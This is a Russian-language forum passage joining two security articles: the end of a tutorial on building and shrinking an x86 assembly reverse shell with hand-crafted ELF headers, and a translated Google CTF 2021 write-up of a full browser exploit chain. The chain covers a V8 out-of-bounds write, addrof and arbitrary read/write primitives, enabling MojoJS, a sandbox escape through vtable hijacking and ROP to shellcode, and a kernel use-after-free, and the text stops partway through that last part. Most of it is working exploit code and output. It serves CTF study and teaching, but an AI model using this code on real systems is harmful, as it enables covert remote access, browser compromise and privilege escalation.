Если подключиться не удалось, следует повторить попытку через некоторое время. Здесь все просто: проверяем код возврата, который мы получили в eax, — в случае успешного подключения он равен 0, а при ошибке -1. При этом перед новой попыткой подключения реверс‑шелл должен создавать дочерний процесс и завершать родительский, чтобы сменился его PID. Спать при этом будет уже дочерний. И для простоты пусть тайм‑аут будет всегда пять секунд, хотя и неплохо бы, чтобы это было случайным значением из некоего диапазона.
С функцией сна придется совсем чуть‑чуть повозиться. Мы не можем просто так вызвать sleep(5), потому что нужный нам сискол принимает два указателя на структуры — одна описывает продолжительность сна, а во вторую записывается оставшееся время, если сон был чем‑то прерван (например, прилетевшим сигналом):
Code:Copy to clipboard
int nanosleep(const struct timespec *req, struct timespec *rem)
Однако мануал говорит, что rem может быть равен NULL, а это нам только на руку. Остается лишь записать в структуру req секунды и наносекунды, в течение которых мы собираемся спать:
Code:Copy to clipboard
struct timespec {
time_t tv_sec; /* goes to 'long int' */
long tv_nsec;
};
Оба числа имеют тип long int, что на x86_32 составляет 4 байта. То есть заполнять структуру и вызывать сискол будем так, не забыв после подчистить за собой стек:
Code:Copy to clipboard
mov eax, NR_NANOSLEEP
push dword 0 ; nsec
push dword 2 ; sec
mov ebx, esp ; ebx = struct timespec *req
xor ecx, ecx ; ecx = struct timespec *rem = NULL
int 0x80
add esp, 8 ; cleanup
Результатом работы всего безобразия можешь полюбоваться на скрине.
Спим, меняем имя, не сдаемся!
Полдела сделано: получен рабочий реверс‑шелл! А какого он вышел размера? При использовании nasm -f elf32 asm_shell.asm -o asm_shell.o && ld asm_shell.o -o asm_shell -m elf_i386 для сборки бинаря получаем около 5 Кбайт.
5 Кбайт... Это много или мало?
Хочу отметить, эта статья в значительной мере вдохновлена изысканиями, второе название которых очень говорящее — Size Is Everything (также есть на гитхабе). Суть в том, чтобы максимально отсечь все лишнее из ELF-файла, разбирая по ходу дела внутренности ELF и Linux, и получить при этом рабочий бинарь. Сам он при этом не делает ничего, только завершается с ответом на самый главный вопрос во Вселенной, — а именно возвращает код 42. Спойлер: автору при начальных 4 Кбайт удалось получить 45 байт!
Итак, мы имеем шелл на 4912 байт. Время углубиться в познание эльфийской сущности.
Всякий, имевший дело с С, знает, что программа начинается с main() — эту функцию непременно ожидает в коде gcc. На самом деле не совсем: именно выполнение исполняемого файла начинается с точки входа (entry point), и это обычно функция _start(), отвечающая за предварительную подготовку и передачу управления в main().
Мы ассемблируем .asm-файл с помощью NASM, а он выдает «перемещаемый» (Relocatable) ELF-файл (обычно у них расширение .o). Такие файлы, например, получаются при сборке проекта из нескольких исходных файлов по схеме «один исходник — один перемещаемый эльф» (которые, кстати, могут быть написаны и не на одном языке). Данное явление имеет еще гордое название «единица трансляции».
Перемещаемые эльфы содержат секции с данными и кодом, которые могут быть связаны с другими файлами для получения исполняемого бинаря. Собственно, этим и занимается компоновщик (линкер), услугами которого мы воспользуемся. В нашем случае это ld. Он ожидает в одном из входных файлов функцию с именем _start, которую и сделает точкой входа.
Выполнив указанные выше команды, мы получили файл, в котором код (секция .text) начинается с физического смещения (смещение в файле на диске) 0x1000, подозрительно похожего на размер страницы, а перед ним лишь пространство, заполненное нулями. Это, между прочим, целых 4 Кбайт. Такое расточительство совершенно никуда не годится!
В начале была матрица
Давай‑ка посмотрим, какие опции компоновщика за это отвечают. Судя по описанию ключа -n — Do not page align data, он нам и нужен. Проверим?
Убираем выравнивание по странице
912 байт! Намного лучше. Теперь код начинается с физического смещения 0x60. Что теперь? Пришла пора поиграть с секциями.
Исходный код на разных этапах редактирования можешь поизучать по истории коммитов.
SHT — таблица заголовков секций (Section Header Table), хотя чаще можно встретить просто «таблица секций» или «заголовки секций». Здесь содержатся имена всех секций в файле, и ознакомиться с ними можно, запустив readelf -S.
Секции нашего реверс‑шелла
Откуда же взялись еще секции, ведь в наших исходниках была лишь секция .text, содержащая код? Здесь нужно поразмышлять о том, как мы получили исполняемый файл. Например, чтобы ld смог найти функцию _start(), информация об этом должна где‑то находиться. И находится она в таблице символов в .o-файле, в секциях .symtab и .strtab.
Информация о символах в перемещаемом эльфе
Как видишь, здесь присутствуют все наши метки, указанные в исходниках. А вот в исполняемом файле наличие таблицы символов не является необходимым для работы. Поэтому к нему можно безболезненно применить команду strip или использовать ключ линкера -s, чтобы избавиться от символов в нем. При этом, если «стрипнуть» символы в перемещаемом файле, линкер заругается на невозможность найти точку входа и собрать исполняемый эльф, что и логично. Итак, сэкономим еще чуть больше половины — 468 байт.
Реверс‑шелл без информации о символах
Более того, для корректной работы бинаря не является необходимой информация о
секциях в принципе! Самый простой способ избавиться от них — вырезать их из
исполняемого файла «в лоб», например с помощью dd if=./asm_shell
of=./asm_shell_trunc bs=1 count=
Готовим к препарированию
Но чтобы не осталось информации о том, что секции вообще были, следует не только обрезать SHT в конце файла, но и занулить поля в заголовке ELF-файла, где указаны смещение таблицы секций, размер записи в ней и их количество (соответственно e_shoff, e_shentsize и e_shnum в структуре ElfN_Ehdr). Они подчеркнуты на рисунке выше. Более подробно об удалении заголовков секций написано в статье «[ELF — No Section Header? No Problem](http://em386.blogspot.com/2006/10/elf-no-section-header-no- problem.html)», а о самих секциях можно почитать, например, в блоге Oracle.
Структура ELF-заголовка наглядно представлена на этой схеме, с которой советую обязательно разобраться, если ты дочитал досюда. Только имей в виду, что на ней рассмотрен 32-битный эльф, размеры отдельных полей которого меньше, чем в 64-битном.
Теперь наш реверс‑шелл занимает 304 байта. Выжмем еще?
Об этом приеме знают те, кому приходилось писать шелл‑код под буферы ограниченного размера. Если же тебе это не особо близко, можешь ознакомиться, например, с материалом о шелл‑кодах от SPbCTF. Если вкратце: за счет того, что длина различных инструкций на x86 не одинакова, зачастую одно и то же на языке ассемблера можно выразить по‑разному. Вот один из моих любимых примеров.
Три байта против семи
Давай пересмотрим теперь наш код с этой точки зрения. Безусловно, с большой вероятностью пострадает его читабельность, но хуже‑то работать он от этого не станет! В первую очередь нужно не записывать малые числа напрямую в регистры. У нас это преимущественно номера системных вызовов.
Расточаемое пространство
Замена инструкций вида mov REG, IMM на push IMM; pop REG действительно поможет с сисколами, имеющими низкие номера, но вот с числами, большими 0x7f, push IMM начинает занимать 5 байт вместо двух, к которым добавляется байт на pop REG. Смещения в реверс‑шелле, как видишь, куда больше этого значения, поэтому, пытаясь таким образом сэкономить на них, мы больше потеряем. А в некоторых случаях вместо того, чтобы помещать напрямую единицу в регистр, можно просто инкрементировать его, предварительно не забыв занулить. Сравни!
Помещаем единицу в ebx
Также нам не нужны некоторые инструкции для инициализации регистров, потому что изначально те все равно занулены. А, к примеру, конкретными значениями наносекунд сна и кода выхода при неудачной попытке соединения можно пренебречь — сокращаем их. То, как мы кладем на стек структуру sockaddr_in, можно тоже сократить и вместо двух раздельных инструкций на семейство и номер порта (которые в сумме в структуре занимают 4 байта) положить их одним заходом.
Так наш код «похудел» еще на 25 байт и составляет 279 байт. Дальше нас ждет только чистое творчество (и немного — тяготы поисков).
В заголовке ELF есть место, которое по стандарту заполняется нулями, и система не проверяет эти значения при загрузке и запуске файла (чего не скажешь о некоторых инструментах). Оно находится в самой первой строке — e_ident — и начинается с десятого байта (EI_PAD). Девятый байт EI_ABIVERSION, описывающий «версию ABI для объектных файлов», для нас нерелевантен, ведь мы пишем не под зоопарк ARM’ов. Так что мы можем безопасно использовать 8 байт, начиная с восьмого в файле. Этого как раз хватит на "/bin/sh". Но как корректно указать смещение до него в коде, не высчитывая и не меняя его руками?
Здесь понадобится изменить параметры сборки. Поскольку мы собрались править сам ELF-заголовок, который вообще‑то генерируется линкером, то придется отказаться от его услуг. Как раз на такой случай NASM позволяет указать «сырой» формат выходного файла: nasm -f bin asm_shell.asm -o asm_shell.raw. В этом случае он собирает файл так, как тот описан в исходнике, не добавляя к нему вообще никаких заголовков. В данном случае нужно указать адрес, куда, как ожидается, это добро будет загружено, чтобы NASM мог правильно вычислить точку входа и прочие смещения. Для этого указывается директива org 0x08048000.
Еще одна вещь, которую мы вправе поменять без вреда для работы бинаря, — зануленная ранее информация о таблице секций. В ELF-заголовке находятся подряд такие поля:
Поле e_flags не описывает SHT; оно, согласно документации, предназначено для неких флагов процессора. Но поскольку на текущий момент никакие из них не определены, то со спокойной душой мы получаем 8 байт из первой цепочки полей. Туда как раз поместится NEW_ARGV.
Во вторую цепочку можно вынести код, завершающий процесс при неудачном соединении (он занимает 5 байт), а на его изначальное место поместить jmp _exit, сэкономив еще 3 байта. Теперь наш собранный вручную заголовок выглядит так:
Code:Copy to clipboard
org 0x08048000
ehdr: ; Elf32_Ehdr
db 0x7F, "ELF" ; e_ident
db 1, 1, 1, 0
BIN_SH:
db "/bin/sh", 0
e_type:
dw 2 ; e_type
dw 3 ; e_machine
dd 1 ; e_version
dd _start ; e_entry
dd phdr - $$ ; e_phoff
NEW_ARGV:
db "s0l3git", 0 ; e_shoff, e_flags
dw ehdrsize ; e_ehsize
dw phdrsize ; e_phentsize
dw 1 ; e_phnum
_exit:
push NR_EXIT ; e_shentsize
pop eax ; e_shnum
; exit_code = random :D ; e_shstrndx
int 0x80
db 0
ehdrsize equ $ - ehdr
phdr: ; Elf32_Phdr
dd 1 ; p_type
dd 0 ; p_offset
dd $$ ; p_vaddr
dd $$ ; p_paddr
dd filesize ; p_filesz
dd filesize ; p_memsz
dd 5 ; p_flags
dd 0x1000 ; p_align
phdrsize equ $ - phdr
...
После всех манипуляций бинарь имеет размер 254 байта. Что мы теперь можем предпринять? Например, попробовать сделать так, чтобы ELF-заголовок и программный (PHT, Program Header Table) перекрывались, как предлагается в уже упомянутой статье «Size Is Everything». Это возможно, поскольку последние 8 байт ELF-заголовка идентичны первым 8 байтам PHT, а те байты ELF-заголовка, что перекроются новыми значениями, не играют критической роли для запуска файла. Правда, вынесенный нами в заголовок код _exit тогда придется вернуть на место. Плюс еще небольшая игра с регистрами, и получаем [реверс‑шелл на 237 байт](https://github.com/ksen- lin/arsh/blob/3b034e57ef591f71676c3f0acd51c4efbccffab8/arshell.asm). Это, считай, двадцатая часть первоначального размера!
Вот и весь реверс‑шелл
Во‑первых, при желании реверс‑шелл может быть почти неприлично крохотным. Во‑вторых, 32-битные процессы могут выполнить execve() и стать 64-битными. Заголовки в ELF-файлах могут перекрываться, и, если это сделано с умом, такой файл будет прекрасно работать. А смена процессом своего имени может оставлять следы.
Поскольку у нас имеется рабочий обратный шелл, ему можно навесить побольше соответствующей функциональности. Например, игнорирование сигналов, простукивание портов, шифрование трафика... Но это уже другая история.
автор @kclo3
Ксения Кирилова
xakep.ру
Я участвовал в Google CTF 2021 Quals в zer0pts и работал над несколькими задачами. Из 6 задач, которые я решил во время CTF, мне больше всего понравилась «Full Chain». Эта задача состоит из трех частей: эксплуатация браузера, побег из песочницы и повышение привилегий. Каждая часть очень познавательна и хороша для введения в каждую из областей.
Полный код эксплоита доступен в [моём репозитории ](https://bitbucket.org/ptr-
yudai/writeups-2021/src/master/GoogleCTF_Quals/full_chain/)
**
Эксплуатация браузера**
Первая - это часть эксплуатации браузера. Целевой браузер - последняя версия
Google Chrome с некоторыми изменениями в коде. Прежде чем углубляться в
подробности эксплуатации браузера, я кратко объясню основы.
**
Песочница**
В Chromium есть 2 типа процессов: рендерер и браузер.
Браузер опасен. Он принимает любой HTML, CSS или JavaScript с сервера, интерпретирует, обрабатывает и выполняет их. Злоумышленники также могут обслуживать некоторые ресурсы и позволять посетителям выполнять их. В частности, JavaScript является хорошей целью для компрометации браузера. Злоумышленники обычно не могут выполнить некоторые системные двоичные файлы или получить доступ к локальным файлам, потому что JavaScript разработан для обеспечения безопасности. Движок JavaScript в Chromium называется V8. Однако некоторые уязвимости в движке JavaScript позволяют им запускать произвольный (машинный) код из-за уязвимости. Поскольку практически все используют браузеры, влияние уязвимости огромно.
Чтобы злоумышленники не могли выполнять команды или получать доступ к локальным файлам, в большинстве современных браузеров есть функция песочницы. Опасная часть браузера (движок JavaScript, анализатор HTML и т. Д.) Выполняется в изолированном процессе (процесс рендеринга), а основная часть (сеть, менеджер файлов cookie и т. Д.) Выполняется в процессе без песочницы (процесс браузера).
Когда мы запускаем браузер, существует один процесс браузера и несколько процессов рендеринга. Процесс рендеринга создается для фрейма, такого как вкладка браузера или iframe. Каждый процесс рендеринга взаимодействует с процессом браузера с помощью IPC (Inter-Process Communication). Chromium использует схему IPC под названием Mojo. Во многих случаях нам нужно использовать процесс браузера через Mojo, если мы хотим выйти из песочницы.
Вы можете почитать официальную документацию для получения более подробной информации о Mojo.
Обязательна ли эксплуатация редерера?
Первая часть задачи связана с эксплуатацией движка JavaScript, работающего в
процессе рендеринга. Мы не можем выполнять какие-либо команды, даже если
скомпрометируем процесс рендеринга из-за песочницы. С другой стороны, вторая
часть задачи - это выход из песочницы, с помощью которой мы можем выполнять
любые команды через JavaScript. Итак, зачем нам писать эксплойт для процесса
рендеринга?
Уязвимость для выхода из песочницы распологается в процессе браузера. Как я объяснил, мы должны использовать Mojo, чтобы экспуатировать эту уязвимость. Однако Mojo по умолчанию не доступен для JavaScript. Мы можем включить Mojo, изменив флаг (перевернув бит) в движке JavaScript. Вот почему нам нужно эксплуатировать процесс рендеринга перед тем, как переходить к процессу браузера.
Патч анализ
Патч движка JavaScript маленький:
JavaScript:Copy to clipboard
diff --git a/src/builtins/typed-array-set.tq b/src/builtins/typed-array-set.tq
index b5c9dcb261..ac5ebe9913 100644
--- a/src/builtins/typed-array-set.tq
+++ b/src/builtins/typed-array-set.tq
@@ -198,7 +198,7 @@ TypedArrayPrototypeSetTypedArray(implicit context: Context, receiver: JSAny)(
if (targetOffsetOverflowed) goto IfOffsetOutOfBounds;
// 9. Let targetLength be target.[[ArrayLength]].
- const targetLength = target.length;
+ // const targetLength = target.length;
// 19. Let srcLength be typedArray.[[ArrayLength]].
const srcLength: uintptr = typedArray.length;
@@ -207,8 +207,8 @@ TypedArrayPrototypeSetTypedArray(implicit context: Context, receiver: JSAny)(
// 21. If srcLength + targetOffset > targetLength, throw a RangeError
// exception.
- CheckIntegerIndexAdditionOverflow(srcLength, targetOffset, targetLength)
- otherwise IfOffsetOutOfBounds;
+ // CheckIntegerIndexAdditionOverflow(srcLength, targetOffset, targetLength)
+ // otherwise IfOffsetOutOfBounds;
// 12. Let targetName be the String value of target.[[TypedArrayName]].
// 13. Let targetType be the Element Type value in Table 62 for
Удаляются только 3 строки в TypedArrayPrototypeSetTypedArray
.
Это код «Torque». Движок V8 использует язык Torque для определения поведения
встроенных функций в JavaScript. Вышеупомянутая функция, как следует из
названия, определяет поведение TypedArray.prototype.set (TypedArray, ...)
.
Итак, изменение коснулось Uint8Array
, Uint32Array
, Float64Array
и так
далее.
*Примечание переводчика: Тут игра слов, Torque переводится как "Крутящий момент"
Ошибка довольно очевидна. CheckIntegerIndexAdditionOverflow
удаляется из
кода, что означает, что буфер может переполниться в методе set типизированного
массива. Напишем PoC.
JavaScript:Copy to clipboard
let x = new Uint32Array(8);
let y = new Uint32Array(8);
x.set(y, 4);
console.log(x);
PoC вызывает падение:
Code:Copy to clipboard
Received signal 11 SEGV_ACCERR 1e4108020ffc
#0 0x55555bb395c9 base::debug::CollectStackTrace()
#1 0x55555baa4763 base::debug::StackTrace::StackTrace()
#2 0x55555bb390f1 base::debug::(anonymous namespace)::StackDumpSignalHandler()
#3 0x7ffff7f903c0 (/usr/lib/x86_64-linux-gnu/libpthread-2.31.so+0x153bf)
#4 0x1e41000ac78c <unknown>
r8: 0000000000000000 r9: fffffffffffd5997 r10: 00002a6c002a6259 r11: 0000000000000000
r12: 00001e410804b664 r13: 00002a6c00520000 r14: 00001e4100000000 r15: 00001e41082278b5
di: 00001e410804b665 si: 00001e4108226c45 bp: 00007fffffffb5c0 bx: 0000000000000000
dx: 0000000000000000 ax: 00001e410804b545 cx: 00001e41080023b5 sp: 00007fffffffb598
ip: 00001e41000ac78c efl: 0000000000010282 cgf: 002b000000000033 erf: 0000000000000007
trp: 000000000000000e msk: 0000000000000000 cr2: 00001e4108020ffc
[end of stack trace]
Мы объявили два массива Uint32Arrays
с 8 элементами. x.set (y, 4)
;
пытается скопировать y в x из 5-го элемента x. Мы можем скопировать только 4
элемента, но ошибка позволяет нам перезаписать буфер.
**
Примитивы**
Используя ошибку, мы собираемся создать несколько «примитивов», чтобы
упростить эксплойт. Я предпочитаю использовать ошибку как можно реже.
Вышеупомянутая ошибка связана с записью вне пределов (OOB). Мы можем записать произвольные значения в некоторые смещения.
Addrof****Примитив
Первое, что нужно создать, это примитив addrof
. Это функция, которая
возвращает адрес заданного объекта JavaScript
. Мы собираемся сделать этот
примитив, потому что нам нужен хотя бы один адрес для создания эксплойта.
JavaScript:Copy to clipboard
let y = new Uint32Array(1);
let x = new Uint32Array(1);
let oob_double = [1.1, 1.1, 1.1, 1.1];
y.set([2222], 0);
x.set(y, 33);
console.log(oob_double.length);
В приведенном выше коде x.set(y, 33)
; перезаписывает длину oob_double
. (Вы
можете легко найти смещение в gdb.) Это приводит к тому, что длина
oob_double
становится равна 1111
.
Теперь у нас есть OOB чтение/запись на oob_double. Мы можем читать некоторые значения в памяти, включая некоторые указатели, как значения с плавающей запятой.
Нам просто нужно подготовить целевой объект к утечке после oob_doubl
e и
прочитать указатель.
JavaScript:Copy to clipboard
function make_primitives() {
let evil = new Uint32Array(1);
let victim = new Uint32Array(1);
let oob_double = [1.1, 1.1, 1.1, 1.1];
let arr_addrof = [{}];
evil.set([0x8888], 0);
victim.set(evil, 33);
console.log("[+] oob_double.length = " + oob_double.length);
return [oob_double, arr_addrof];
}
function addrof(obj) {
arr_addrof[0] = obj;
return (oob_double[7].f2i() >> 32n) - 1n;
}
let [oob_double, arr_addrof] = make_primitives();
let target = {};
%DebugPrint(target);
console.log(addrof(target).hex());
Будьте осторожны, жестко запрограммированные значения смещения могут измениться по мере разработки эксплойта, но вы можете легко найти его в gdb. PoC выше выводит что-то вроде следующего.
Code:Copy to clipboard
0x120e0804b9d1 <Object map = 0x120e08246101>
[0726/092053.410523:INFO:CONSOLE(26)] "[+] oob_double.length = 17476", source: file:///home/ptr/google/writeup/poc.js (26)
[0726/092053.410716:INFO:CONSOLE(39)] "0x8246100", source: file:///home/ptr/google/writeup/poc.js (39)
В последней версии V8 64-битные указатели сжимаются в 32-битные, поэтому полученый нами адрес выглядит как 32-битный.
Получение полного указателя
Сжатие указателя несколько затруднительно для создания примитивов AAR/AAW.
Иногда вам нужно знать полный адрес объектов JavaScript.
TypedArray - это особый объект, у которого есть полный адрес буфера. Мы можем получить верхний 32-битный адрес JSObjects, прочитав полный адрес типизированного массива.
JavaScript:Copy to clipboard
let heap_upper = oob_double[28].f2i() & 0xffffffff00000000n;
console.log("[+] heap_upper = " + heap_upper.hex());
AAR/AAW примитив
Как я объяснил, типизированный массив имеет полный адрес буфера. Мы можем
перезаписать этот адрес, чтобы сделать произвольное чтение адреса (AAR)
примитивом.
JavaScript:Copy to clipboard
function aar64(addr) {
oob_double[28] = ((addr & 0xffffffff00000000n) | 7n).i2f();
oob_double[29] = (((addr - 8n) | 1n) & 0xffffffffn).i2f();
return www_double[0].f2i();
}
Arbitrary-address-write(AAW)
может быть получен таким же образом.
JavaScript:Copy to clipboard
function aaw64(addr, value) {
oob_double[28] = ((addr & 0xffffffff00000000n) | 7n).i2f();
oob_double[29] = (((addr - 8n) | 1n) & 0xffffffffn).i2f();
www_double[0] = value.i2f();
}
Включение Mojo
Наша цель - включить Mojo, а не выполнять шелл-код.
В Chromium есть несколько
флагов,
и один из них is_mojo_js_enabled_
. Эта переменная может находиться в
двоичном файле Chrome. Итак, мы должны узнать адрес бинарного файла Chrome.
Есть много способов утечки текстовой базы, но я выбрал HTMLDivElement
.
Объект div
имеет указатель на экземпляр класса с именем HTMLDivElement
.
Это данные в двоичном формате хрома, поэтому мы можем вычислить базовый адрес
хрома.
JavaScript:Copy to clipboard
/* Leak chrome base */
let div = document.createElement('div');
let addr_div = heap_upper | addrof(div);
console.log("[+] addr_div = " + addr_div.hex());
let addr_HTMLDivElement = aar64(addr_div + 0xCn);
console.log("[+] <HTMLDivElement> = " + addr_HTMLDivElement.hex());
let chrome_base = addr_HTMLDivElement - 0xc1bb7c0n;
console.log("[+] chrome_base = " + chrome_base.hex());
Теперь включить Mojo очень просто. Мы можем просто перевернуть бит
is_mojo_js_enabled_
с помощью примитива AAW.
JavaScript:Copy to clipboard
/* Enable MojoJS */
console.log("[+] Overwriting flags..");
let addr_flag_MojoJS = chrome_base + 0xc560f0en;
let addr_flag_MojoJSTest = chrome_base + 0xc560f0fn;
aaw64(addr_flag_MojoJS & 0xfffffffffffffff8n, 0x0101010101010101n);
aaw64(addr_flag_MojoJSTest & 0xfffffffffffffff8n, 0x0101010101010101n);
В приведенном выше коде я также меняю флаг is_mojo_js_test_enabled_
, который
полезен для написания некоторых уязвимостей браузера (особенно гонки), но в
конечном итоге я не использовал его.
Успокаиваем garbage collector
Мы должны перезагрузить страницу, чтобы включить Mojo. Однако перезагрузка
страницы освобождает созданные нами объекты JavaScript. Сборщик мусора больше
не отслеживает эти объекты.
Это огромная проблема. Мы перезаписали некоторые указатели на недопустимые адреса. Сборщик мусора пытается освободить недопустимый адрес и дает сбой. Итак, нам нужно очистить объекты, которые мы испортили, прежде чем сборщик мусора рассердится.
Указатель, который мы перезаписали, - это только массив AAR/AAW. Я сохранил исходный указатель и восстановил его перед редиректом страницы.
JavaScript:Copy to clipboard
let original_28 = oob_double[28];
let original_29 = oob_double[29];
...
function cleanup() {
oob_double[28] = original_28;
oob_double[29] = original_29;
}
...
/* Cleanup */
cleanup();
window.location.href = "/sbx_exploit.html";
Побег из песочницы
Вторая часть - это побег из песочницы.
Патч анализ
Патч для эксплойта браузера немного великоват. На этот раз патч реализует
новую функцию, а не вносит ошибку в существующую.
Патч реализует интерфейс Mojo с именем CtfInterface
.
C:Copy to clipboard
interface CtfInterface {
ResizeVector(uint32 size) => ();
Read(uint32 offset) => (double value);
Write(double value, uint32 offset) => ();
};
Мы можем выделить вектор произвольного размера.
C:Copy to clipboard
void CtfInterfaceImpl::ResizeVector(uint32_t size,
ResizeVectorCallback callback) {
numbers_.resize(size);
std::move(callback).Run();
}
Уязвимость заключается в методах Read
и Write
, с помощью которых мы можем
читать/записывать вектор вне границ.
C:Copy to clipboard
void CtfInterfaceImpl::Read(uint32_t offset, ReadCallback callback) {
std::move(callback).Run(numbers_[offset]);
}
void CtfInterfaceImpl::Write(double value,
uint32_t offset,
WriteCallback callback) {
numbers_[offset] = value;
std::move(callback).Run();
}
Утечка адреса
Не только эксплойты браузера, но и большинство реальных эксплойтов идут по
тому же пути.
Утечки адреса достичь легко, потому что у нас есть OOB в куче.
Проблема в том, что мы не можем предсказать, какие объекты появятся после
уязвимого вектора из-за тяжелой многопроцессорной системы. Моя идея состоит в
том, чтобы распылить CtfInterface
и выделить вектор того же размера, что и
CtfInterface
. Тогда, вероятно, рядом с вектором будет экземпляр
CtfInterface
.
Я написал скрипт для поиска определенного шаблона в памяти для утечки желаемого указателя
JavaScript:Copy to clipboard
/* Find evil */
let addr_evil = null;
let addr_elm = null;
let chrome_base = null;
for (let i = 1; i < 0x80; i++) {
let a0 = (await evil.read((0x60 / 8) * i + 0)).value.f2i();
let a1 = (await evil.read((0x60 / 8) * i + 1)).value.f2i();
let a2 = (await evil.read((0x60 / 8) * i + 2)).value.f2i();
if (a0 != 0n && a1 == 0n && a2 == 0n) {
let a6 = (await evil.read((0x60 / 8) * i + 6)).value.f2i();
let a7 = (await evil.read((0x60 / 8) * i + 7)).value.f2i();
addr_evil = a0;
addr_elm = a6 - 0x18n - BigInt(0x60 * i);
chrome_base = a7 - 0xbc77518n;
break;
}
}
if (addr_elm == null) {
console.log("[-] Bad luck!");
return location.reload();
}
let offset = Number((addr_evil - addr_elm) / 8n);
console.log("[+] offset = " + offset);
if (offset < 0) {
console.log("[-] Bad luck!");
return location.reload();
}
console.log("[+] addr_evil = " + addr_evil.hex());
console.log("[+] addr_elm = " + addr_elm.hex());
console.log("[+] chrome_base = " + chrome_base.hex());
Вышеупомянутый эксплойт приводит к утечке адреса базы данных экземпляра,
вектора и хрома. Код вычисляет смещение к экземпляру CtfInterface
от
вектора. Он перезапускает эксплойт (с помощью location.reload()
), если
смещение отрицательное, потому что пока у нас есть только положительное
чтение/запись OOB.
Примитивы AAR/AAW
Когда мы нашли адрес экземпляра CtfInterface
, мы можем перезаписать
указатели в std::vector
. Это мощно, потому что мы можем получить примитивы
AAR/AAW, изменив указатель элемента вектора.
JavaScript:Copy to clipboard
async function aar64(addr) {
await evil.write(addr.i2f(),
offset + (0x60 / 8) * victim_ofs + 1);
await evil.write((addr + 0x10n).i2f(),
offset + (0x60 / 8) * victim_ofs + 2);
await evil.write((addr + 0x10n).i2f(),
offset + (0x60 / 8) * victim_ofs + 3);
return (await victim.read(0)).value.f2i();
}
async function aaw64(addr, value) {
await evil.write(addr.i2f(),
offset + (0x60 / 8) * victim_ofs + 1);
await evil.write((addr + 0x10n).i2f(),
offset + (0x60 / 8) * victim_ofs + 2);
await evil.write((addr + 0x10n).i2f(),
offset + (0x60 / 8) * victim_ofs + 3);
await victim.write(value.i2f(), 0);
}
На самом деле AAR и AAW не нужны для эксплуатации этой уязвимости. Во всяком случае, это лучше, чем ничего.
Перехват Vtable
Итак, как управлять RIP?
Я думаю, что самый простой способ - это захватить vtable CtfInterface
.
Многие экземпляры в Chromium, включая интерфейс Mojo, имеют собственные
таблицы функций для обработки некоторых виртуальных методов. Таблица vtable
записывается в куче (первое qword каждого объекта), и мы можем просто
перезаписать ее.
Изменив vtable на нашу поддельную vtable, мы можем управлять RIP при использовании измененного объекта. (Мы можем подготовить vtable в куче, потому что у нас есть адрес кучи, или написать куда-нибудь еще, потому что у нас также есть примитив AAW.)
После получения контроля над RIP естественно использовать стек Pivot для
запуска нашей ROP-цепочки. Я использовал xchg rax, rsp; ret;
гаджет и вызвал
mprotect
в цепочке ROP для выполнения моего шелл-кода.
JavaScript:Copy to clipboard
let rop_pop_rdi = chrome_base + 0x035d445dn;
let rop_pop_rsi = chrome_base + 0x0348edaen;
let rop_pop_rdx = chrome_base + 0x03655332n;
let rop_pop_rax = chrome_base + 0x03419404n;
let rop_syscall = chrome_base + 0x0800dd77n;
let rop_xchg_rax_rsp = chrome_base + 0x0590510en
let addr_shellcode = addr_elm & 0xfffffffffffff000n;
let rop = [
rop_pop_rdi,
addr_shellcode,
rop_pop_rsi,
rop_xchg_rax_rsp, // vtable target
rop_pop_rsi,
0x2000n,
rop_pop_rdx,
7n,
rop_pop_rax,
10n,
rop_syscall,
addr_shellcode
];
for (let i = 0; i < rop.length; i++) {
await evil.write(rop[i].i2f(), i);
}
for (let i = 0; i < shellcode.length; i++) {
await aaw64(addr_shellcode + BigInt(i*8), shellcode[i].f2i());
}
await aaw64(addr_evil, addr_elm);
setTimeout(() => {
for (let p of spray) {
p.read(0); // Control RIP
}
}, 3000);
Теперь мы можем запускать произвольный шеллкод. Просто напишите шелл-код,
который выполнит /bin/bash
Повышение привилегий
Последняя часть - это эксплуатация ядра.
Анализ драйвера
Ядро загружает уязвимый драйвер ctfdevice
. Это позволяет нам размещать и
освобождать данные произвольного размера.
C:Copy to clipboard
static ssize_t ctf_ioctl(struct file *f, unsigned int cmd, unsigned long arg)
{
struct ctf_data *data = f->private_data;
char *mem;
switch(cmd) {
case 1337:
if (arg > 2000) {
return -EINVAL;
}
mem = kmalloc(arg, GFP_KERNEL);
if (mem == NULL) {
return -ENOMEM;
}
data->mem = mem;
data->size = arg;
break;
case 1338:
kfree(data->mem);
break;
default:
return -ENOTTY;
}
return 0;
}
Вы можете видеть, что указатель data->mem
не равен NULL после kfree
.
Однако для чтения и записи могут использоваться data->mem
даже после того,
как они освобождены.
C:Copy to clipboard
static ssize_t ctf_read(struct file *f, char __user *data, size_t size, loff_t *off)
{
struct ctf_data *ctf_data = f->private_data;
if (size > ctf_data->size) {
return -EINVAL;
}
if (copy_to_user(data, ctf_data->mem, size)) {
return -EFAULT;
}
return size;
}
static ssize_t ctf_write(struct file *f, const char __user *data, size_t size, loff_t *off)
{
struct ctf_data *ctf_data = f->private_data;
if (size > ctf_data->size) {
return -EINVAL;
}
if (copy_from_user(ctf_data->mem, data, size)) {
return -EFAULT;
}
return size;
}
Очевидно, что это Use-after-Free.
Основная идея использования Use-after-Free такая же, как и Use-after-Free в пользовательском режиме. Однако User-after-Free на уровне ядра намного сильнее. Это связано с тем, что любые объекты, выделенные ядром, могут повлиять на уязвимость.
Утечка адреса
Год назад я написал [статью на японском](https://ptr-
yudai.hatenablog.com/entry/2020/03/16/165628), в которой объясняются некоторые
структуры, полезные для эксплойтов ядра. Как объясняется в статье,
tty_struct
- хорошая цель. Это может вызвать утечку указателя ядра,
указателя кучи, а также полезно для управления RIP. Этот объект выделяется,
когда мы открываем /dev/ptmx
.
Я распылил этот объект после освобождения data->mem
. После распыления вполне
вероятно, что data->mem
перекрывается с одним из распыленных объектов
tty_struct
.
C:Copy to clipboard
/* Leak addresses */
dev_new(0x3f0);
dev_delete();
for (int i = 0; i < 0x100; i++) {
spray[i] = open("/dev/ptmx", O_NOCTTY | O_RDONLY);
}
memset(buf, 0, sizeof(buf));
dev_read((void*)buf, 0x2e0);
kbase = buf[3] - (0xffffffff820745e0 - 0xffffffff81000000);
kheap = buf[8] - 0x38;
printf("[+] kbase = 0x%lx\n", kbase);
printf("[+] kheap = 0x%lx\n", kheap);
Примитивы AAR/AAW
Tty_struct
имеет таблицу функций (tty_operations
) с именем ops
. Мы
перезаписываем его фальшивым указателем таблицы функций и запускаем некоторые
операции, такие как ioctl
, с файловым дескриптором /dev/ptmx
для
управления RIP. Вопрос в том, куда прыгать.
По сути, есть два способа повысить привилегии.
